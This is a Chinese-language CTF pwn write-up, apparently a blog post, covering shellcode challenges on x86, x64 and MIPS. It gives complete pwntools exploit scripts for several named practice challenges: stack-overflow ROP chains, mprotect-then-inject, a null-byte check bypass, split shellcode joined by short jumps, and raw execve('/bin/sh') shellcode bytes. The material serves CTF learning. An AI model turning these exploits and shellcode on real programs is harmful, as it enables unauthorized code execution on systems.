[CTF]-Pwn:shellcode题型综合解析

x86:

自己编写shellcode:

例题(picoctf_2018_can_you_gets_me):

先看保护

再看ida

有一个不限长度的输入点gets,那能干的就很多了。

通俗易懂的思路有以下两种

解法一(系统调用):

完整exp:

from pwn import*
context(log_level='debug')
p=process('./getsme')
p=remote('node5.buuoj.cn',27638)
puts=0x804F2A0
ret=0x080481b2
pop_eax=0x080b81c6
pop_ebx=0x080481c9
pop_ecx=0x080de955
pop_edx=0x0806f02a
int80=0x0806cc25
sh=0x080d4285
mprotect=0x806E0F0
main=0x80488A3
vuln=0x804887C
bss=0x80EB624
gets=0x0804F120

payload=b'a'*(0x18+4)+p32(gets)+p32(main)+p32(bss)
p.sendlineafter(b'GIVE ME YOUR NAME!',payload)

payload=b'/bin/sh\x00'
p.sendline(payload)

payload=b'a'*(0x18+4)+p32(pop_eax)+p32(11)+p32(pop_ebx)+p32(bss)+p32(pop_ecx)+p32(0)+p32(pop_edx)+p32(0)+p32(int80)
p.sendlineafter(b'GIVE ME YOUR NAME!',payload)

p.interactive()

解题思路:

主要是利用gets函数先往任意可用的bss段来输入/bin/sh,这样我们进行系统调用才有参数,然后就可以再次输入进行系统调用execve。

补充点1:32位系统调用传参的寄存器顺序是ebx,ecx,edx等,eax用于存放系统调用号

补充点2:用ROPgadget找出的sh字符好像用不了,反正我尝试了一下,没法用,所以就自己往bss段写入/bin/sh了。

补充点3:他的gets函数是自己写的,没有plt和got,不能泄露libc地址

解法二(shellcode):

完整exp:

from pwn import*
context(log_level='debug')
#p=process('./getsme')
p=remote('node5.buuoj.cn',27638)
puts=0x804F2A0
ret=0x080481b2
pop_eax=0x080b81c6
pop_ebx=0x080481c9
pop_ecx=0x080de955
pop_edx=0x0806f02a
int80=0x0806cc25
sh=0x080d4285
mprotect=0x806E0F0
main=0x80488A3
vuln=0x804887C
bss=0x80EB624
gets=0x0804F120


payload=b'a'*(0x18+4)+p32(mprotect)+p32(main)+p32(0x80e0000)+p32(0x10000)+p32(0x7)
p.sendlineafter(b'GIVE ME YOUR NAME!',payload)

payload=b'a'*(0x18+4)+p32(gets)+p32(main)+p32(bss)
p.sendlineafter(b'GIVE ME YOUR NAME!',payload)


shellcode='''
push 0
push 0x68732f2f
push 0x6e69622f
mov eax,11
mov ebx,esp
xor ecx,ecx
xor edx,edx
int 0x80
'''
shellcode=asm(shellcode) #用pwntools自带的shellcode也能解
print(len(shellcode))

p.sendline(shellcode)

payload=b'a'*(0x18+4)+p32(bss)
p.sendlineafter(b'GIVE ME YOUR NAME!',payload)

p.interactive()

解题思路:

用mprotect把bss段的权限改成可执行,然后注入shellcode,再跳转到bss段执行就可以getshell了

补充点1:如果是自主编写的shellcode,传入的参数如果是;sh;或bash没法成功

补充点2:我这里往bss段注入shellcode而不是栈段注入,主要是因为栈的地址是不确定的,但bss段地址固定,往bss段注入不用求出地址,比较方便。

补充点3:能自己写shellcode最好自己写,因为pwntools给的shellcode有点大,而且题目要是限制一下shellcode也不好改

x64:

\x00绕过检验:

例题(starctf_2019_babyshell):

 查看保护

查看ida

这里就是要输入shellcode,但是函数会有检测。

在shellcode前面填写一个\x00,这样就可以绕过函数检查了。

完整exp:

from pwn import*
context(log_level='debug',arch='amd64')
p=process('./babyshell')

shellcode=b'\x00\x42\x00'+asm(shellcraft.sh())

p.sendafter(b'give me shellcode, plz:',shellcode)
p.interactive()

分段shellcode:

例题(CSAW_pilot):

 查看保护,NX没有开启,栈可执行。

查看main函数,可以看到给出了main函数栈开始的地址,以及可以进行栈溢出的read函数,因为NX没开,栈可执行所以考虑使用ret2shellcode。

这里有两种解法

#解法一(使用pwntools给的shellcode):

exp如下

from pwn import*
context(arch='amd64',log_level='debug')
#p=remote('node4.buuoj.cn',26477)
p=process('./pilot')
shellcode=asm(shellcraft.sh())
p.recvuntil(b'Location:')
stack_addr=int(p.recv(14),16)
print(hex(stack_addr))
moversp=asm('''
sub rsp, 0x2a
''')
print(len(moversp))
print(disasm(moversp))
payload=moversp+shellcode[0:34]+b'\xeb\x08'+p64(stack_addr)+shellcode[34:48]
print(len(shellcode))
print(disasm(shellcode))
p.send(payload)
p.interactive()

要点1:为什么这里要加上\xeb\x08?

答:\xeb\x08这里是指跳转至偏移8个字节的地方,用法就是\xeb\xxx,跳转至偏移xx字节的地方,这里的shellcode断开一定要用这个,不然shellcode没法正常运行。

要点2:为什么是把rsp移动0x2a?

答:根据函数调用以及栈帧原理,函数返回后,rsp指向返回地址,shellcode在执行的时候会推入寄存器入栈,这样会破坏shellcode,将rsp移动0x2a个距离后,rsp恰好会指向shellcode中的push 0x68处,这个时候shellcode推入寄存器将恰好对shellcode的执行没有影响。当然移动多一点也是可以的,用add指令去移动也是可以的。

要点三:为什么栈开始的地址会随时变化?

答:首先要明确一点,开启堆栈地址随机化会导致栈开始的地址在每次程序运行时的时候会不一样,即使不开堆栈地址随机化,也会因为包括动态链接库等各种原因使栈开始的地址会变化,只不过这种变化可能相比堆栈地址随机化来说并不算太大,但还是会导致栈开始的地址变化,所以一般情况下向栈中注入shellcode都是有难度的。

要点四:使用pwntools给的shellcode要先确定是64位还是32位,不然pwntools可能会给你32位的44个字节的shellcode

#解法二(用较短的shellcode去解):

exp如下

from pwn import*
context(arch='amd64',log_level='debug')
#p=remote('node4.buuoj.cn',28090)
p=process('./pilot')
p.recvuntil(b'Location:')
stack_addr=int(p.recv(14),16)
shellcode=b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
print(len(shellcode))
print(disasm(shellcode))
payload=shellcode+b'a'*17+p64(stack_addr)
print(hex(stack_addr))
p.sendline(payload)
p.interactive()

对于这个没有什么好解释的,平时做ret2shellcode的题目可以去积累一点特殊的shellcode,比如最短或者全用可见字符,对以后做题会很有帮助,这个shellcode也是我从网上找的。64位的21个字节的shellcode,可以记一下。

mips:

借用程序跳转:

例题(XYCTF新生赛 EZ1.0?):

查看保护

查看ida

这里用的是retdec,没安装的可以看这个[CTF]-PWN:mips反汇编工具,ida插件retdec的安装-CSDN博客

 这里直接看反汇编貌似看不出什么,所以直接从汇编找

完整exp:

from pwn import*
context(log_level='debug',arch='mips')
p=process('./mips')
p=remote('gz.imxbt.cn',20045)
jmp_a2=0x0041FBF4
add_sp_jmp_fp=0x00427968


shellcode=b'\x50\x73\x06\x24\xff\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28'
shellcode+=b'\xe0\xff\xbd\x27\xd7\xff\x0f\x24\x27\x78\xe0\x01\x21\x20\xef\x03'
shellcode+=b'\xe8\xff\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x23\xab\x0f\x02\x24'
shellcode+=b'\x0c\x01\x01\x01/bin/sh'
payload=b'a'*0x40+p32(jmp_a2)+p32(add_sp_jmp_fp)+b'a'*0x58+shellcode
p.sendafter(b'welcome XYCTF mips world',payload)
p.interactive()

原来x86架构的shellcode是用不了的,这里是先覆盖fp为jmp a2,覆盖返回地址为add_sp_jmp_fp,执行add_sp_jmp_fp处汇编的时候会把shellcode的地址放入a2,而且会jmp fp,利用这一点执行shellcode。

arm:

碰到此类型的题目再更新

  • 6
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值